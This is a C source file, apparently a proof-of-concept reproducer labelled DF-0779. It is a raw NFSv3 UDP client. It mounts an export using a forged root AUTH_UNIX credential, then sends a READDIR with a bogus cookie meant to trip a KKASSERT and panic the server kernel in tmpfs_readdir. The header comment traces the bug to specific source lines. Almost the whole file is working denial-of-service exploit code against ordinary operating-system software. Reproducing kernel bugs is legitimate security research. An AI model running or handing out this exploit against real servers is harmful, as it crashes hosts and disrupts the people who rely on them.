DF-0779 / df0779_nfs.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 | /* * DF-0779 - raw NFSv3 READDIR client that sends a BOGUS readdir cookie * to reproduce the tmpfs_readdir KKASSERT panic on the NFS-server path. * * Faithful to the bug: nfs_serv.c:2963 takes the client's cookie raw * (fxdr_hyper, no validation), nfs_serv.c:3035 sets io.uio_offset to it, * nfs_serv.c:3045 calls VOP_READDIR(vp,&io,...,&ncookies,&cookies) on the * tmpfs dir with NON-NULL cookies -> tmpfs_vnops.c:1697 cookie block is * entered with startoff = <our bogus cookie>. First loop iter: de==NULL, * tmpfs_dir_lookupbycookie(node,off,exact=1) returns NULL for a cookie * that does not map to any real dirent -> KKASSERT(de != NULL) at * tmpfs_vnops.c:1719 -> kernel panic. * * We use raw UDP RPC (no librpc), hand-rolled XDR. Two calls: * 1. MOUNT v3 proc 1 (MNTPROC_MNT) of the export path -> get fhandle3. * 2. NFS v3 proc 16 (NFSPROC_READDIR) with that fh + cookie = <bogus>. * * ports: mountd and nfs looked up via rpcbind GETPORT (prog 100000 proc 3). */ #include <sys/param.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <stdint.h> #include <errno.h> #define MOUNTD_PROG 100005 #define MOUNTD_VERS 3 #define NFSPROC_MNT 1 #define NFS_PROG 100003 #define NFS_VERS 3 #define NFSPROC_READDIR 16 #define RPCBIND_PROG 100000 #define RPCBIND_VERS 2 #define RPCB_GETPORT 3 static uint32_t g_xid = 0xfeed0001; static void put32(uint8_t **p, uint32_t v) { v = htonl(v); memcpy(*p, &v, 4); *p += 4; } static uint32_t get32(uint8_t **p) { uint32_t v; memcpy(&v, *p, 4); *p += 4; return ntohl(v); } static void getbytes(uint8_t **p, void *dst, size_t n) { memcpy(dst, *p, n); *p += n; } /* build AUTH_UNIX credential body (flavor 1). Forged root cred. */ static size_t make_auth_unix(uint8_t *body) { uint8_t *b = body; put32(&b, 0x12345678); /* stamp */ const char *mach = "dfbsd"; size_t mlen = strlen(mach), pad = (mlen+3)&~3u; put32(&b, (uint32_t)mlen); memcpy(b, mach, mlen); b += mlen; if (pad > mlen) { memset(b, 0, pad-mlen); b += (pad-mlen); } put32(&b, 0); /* uid=0 root */ put32(&b, 0); /* gid=0 wheel */ put32(&b, 0); /* gids length 0 */ return (size_t)(b - body); } /* build a complete UDP RPC call body into buf; return total len */ static int build_call(uint8_t *buf, uint32_t xid, uint32_t prog, uint32_t vers, uint32_t proc, const uint8_t *args, size_t alen) { uint8_t *start = buf; /* record mark: not needed for UDP; omit it. */ put32(&buf, xid); /* xid */ put32(&buf, 0); /* msg type CALL */ put32(&buf, 2); /* rpc vers 2 */ put32(&buf, prog); put32(&buf, vers); put32(&buf, proc); /* auth cred: AUTH_UNIX (flavor 1) */ uint8_t authbuf[256]; size_t authlen = make_auth_unix(authbuf); put32(&buf, 1); /* flavor AUTH_UNIX */ put32(&buf, (uint32_t)authlen); memcpy(buf, authbuf, authlen); buf += authlen; /* auth verifier: AUTH_NONE */ put32(&buf, 0); /* flavor */ put32(&buf, 0); /* body len */ /* args */ if (alen) { memcpy(buf, args, alen); buf += alen; } return (int)(buf - start); } static int udp_rpc(struct sockaddr_in *sin, const uint8_t *req, int reqlen, uint8_t *reply, int replymax) { int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); return -1; } struct timeval tv = { .tv_sec = 5, .tv_usec = 0 }; setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)); if (connect(s, (struct sockaddr*)sin, sizeof(*sin)) < 0) { perror("connect"); close(s); return -1; } if (send(s, req, reqlen, 0) != reqlen) { perror("send"); close(s); return -1; } int n = recv(s, reply, replymax, 0); close(s); return n; } static uint16_t rpcb_getport(struct sockaddr_in *sin, uint32_t prog, uint32_t vers) { uint8_t args[64], *a = args; put32(&a, prog); put32(&a, vers); put32(&a, 17 /*IPPROTO_UDP*/); put32(&a, 0); int alen = (int)(a - args); uint8_t req[256], reply[1024]; int rl = build_call(req, g_xid++, RPCBIND_PROG, RPCBIND_VERS, RPCB_GETPORT, args, alen); int n = udp_rpc(sin, req, rl, reply, sizeof(reply)); if (n < 24) return 0; /* skip xid, msgtype(must be 1=REPLY), reply_state_id, accept_state, then verifier flavor+len, then reply_body port (uint32) */ uint8_t *p = reply; (void)get32(&p); /* xid */ uint32_t mtype = get32(&p); /* 1 = REPLY */ if (mtype != 1) return 0; uint32_t rstat = get32(&p); /* 0 = MSG_ACCEPTED */ if (rstat != 0) return 0; /* verifier flavor, len */ uint32_t vfl = get32(&p); uint32_t vlen = get32(&p); p += vlen; uint32_t astat = get32(&p); /* 0 = SUCCESS */ if (astat != 0) return 0; uint32_t port = get32(&p); return (uint16_t)port; } int main(int argc, char **argv) { struct sockaddr_in rpcb_sin; memset(&rpcb_sin, 0, sizeof(rpcb_sin)); rpcb_sin.sin_family = AF_INET; rpcb_sin.sin_port = htons(111); rpcb_sin.sin_addr.s_addr = inet_addr("127.0.0.1"); const char *path = "/tmp/df0779_export"; if (argc > 1) path = argv[1]; /* 1. find mountd and nfs ports via rpcbind */ uint16_t mountd_port = rpcb_getport(&rpcb_sin, MOUNTD_PROG, MOUNTD_VERS); uint16_t nfs_port = rpcb_getport(&rpcb_sin, NFS_PROG, NFS_VERS); printf("mountd port=%u nfs port=%u\n", mountd_port, nfs_port); if (!mountd_port || !nfs_port) { fprintf(stderr, "FAIL: rpcbind did not return ports (mountd=%u nfs=%u)\n", mountd_port, nfs_port); return 2; } /* 2. MOUNT v3 proc 1: arg = path string (XDR string) */ { size_t plen = strlen(path); size_t padded = (plen + 3) & ~3u; uint8_t args[512], *a = args; put32(&a, (uint32_t)plen); memcpy(a, path, plen); a += plen; if (padded > plen) { memset(a, 0, padded - plen); a += (padded - plen); } int alen = (int)(a - args); uint8_t req[512], reply[4096]; int rl = build_call(req, g_xid++, MOUNTD_PROG, MOUNTD_VERS, NFSPROC_MNT, args, alen); struct sockaddr_in msin = rpcb_sin; msin.sin_port = htons(mountd_port); int n = udp_rpc(&msin, req, rl, reply, sizeof(reply)); if (n < 24) { fprintf(stderr, "MOUNT: no reply (n=%d)\n", n); return 3; } uint8_t *p = reply; (void)get32(&p); uint32_t mtype = get32(&p); if (mtype != 1) { fprintf(stderr,"MOUNT: not a reply\n"); return 3; } uint32_t rstat = get32(&p); if (rstat != 0) { fprintf(stderr,"MOUNT: reply rstat=%u\n", rstat); return 3; } uint32_t vfl = get32(&p), vlen = get32(&p); p += vlen; uint32_t astat = get32(&p); if (astat != 0) { fprintf(stderr,"MOUNT: denied astat=%u\n", astat); return 3; } /* mountres3: fhs_status(uint32), then fhandle3 = {len, opaque, pad} */ uint32_t fhs_status = get32(&p); printf("MOUNT fhs_status=%u\n", fhs_status); if (fhs_status != 0) { fprintf(stderr,"MOUNT failed status=%u\n", fhs_status); return 4; } uint32_t fhlen = get32(&p); if (fhlen == 0 || fhlen > 256) { fprintf(stderr,"MOUNT bad fhlen=%u\n", fhlen); return 4; } uint8_t fh[256]; memset(fh,0,sizeof(fh)); getbytes(&p, fh, fhlen); size_t fhpadded = (fhlen + 3) & ~3u; p += (fhpadded - fhlen); printf("MOUNT ok: fhlen=%u (host bytes: ", fhlen); for (uint32_t i=0;i<fhlen;i++) printf("%02x", fh[i]); printf(")\n"); /* 3. READDIR3 proc 16: args = { fh (opaque<,len>), cookie3 uint64, * cookieverf3 opaque<8>, count3 uint32 } */ uint8_t rargs[512], *q = rargs; /* fhandle3 as opaque<>: len + bytes + pad */ put32(&q, fhlen); memcpy(q, fh, fhlen); q += fhlen; if (fhpadded > fhlen) { memset(q,0,fhpadded-fhlen); q += (fhpadded-fhlen); } /* cookie3 (uint64) -- the BOGUS cookie. Use 0xDEAD which maps to * tmpfs_cookiedir(0xDEAD) = (void*)(0xDEAD<<1) -- never a real * tmpfs dirent pointer -> tmpfs_dir_lookupbycookie exact=NULL -> panic */ uint64_t bogus_cookie; uint64_t want; if (argc > 2) { want = (uint64_t)strtoull(argv[2], NULL, 0); } else { want = 0xDEAD; } bogus_cookie = want; uint32_t hi = (uint32_t)(bogus_cookie >> 32); uint32_t lo = (uint32_t)(bogus_cookie & 0xffffffffu); put32(&q, hi); put32(&q, lo); /* cookieverf3: opaque<8> -> len(8) + 8 bytes */ put32(&q, 8); memset(q, 0, 8); q += 8; /* count3 */ put32(&q, 8192); int ralen = (int)(q - rargs); uint8_t rreq[512], rreply[65536]; int rrl = build_call(rreq, g_xid++, NFS_PROG, NFS_VERS, NFSPROC_READDIR, rargs, ralen); printf("READDIR3: fh + bogus cookie=0x%016llx -- sending...\n", (unsigned long long)bogus_cookie); struct sockaddr_in nsin = rpcb_sin; nsin.sin_port = htons(nfs_port); int rn = udp_rpc(&nsin, rreq, rrl, rreply, sizeof(rreply)); printf("READDIR3 reply: %d bytes (if we got here, no panic; if " "guest is gone, that is the panic)\n", rn); if (rn < 0) { printf("READDIR3: recv returned %d (errno=%d %s) -- likely guest " "panicked mid-reply (socket RCVTIMEO)\n", rn, errno, strerror(errno)); } else { uint8_t *pp = rreply; (void)get32(&pp); uint32_t mt = get32(&pp); (void)get32(&pp); if (mt==1){ uint32_t rs=get32(&pp); printf(" reply msg rstat=%u\n",rs);} } } return 0; } |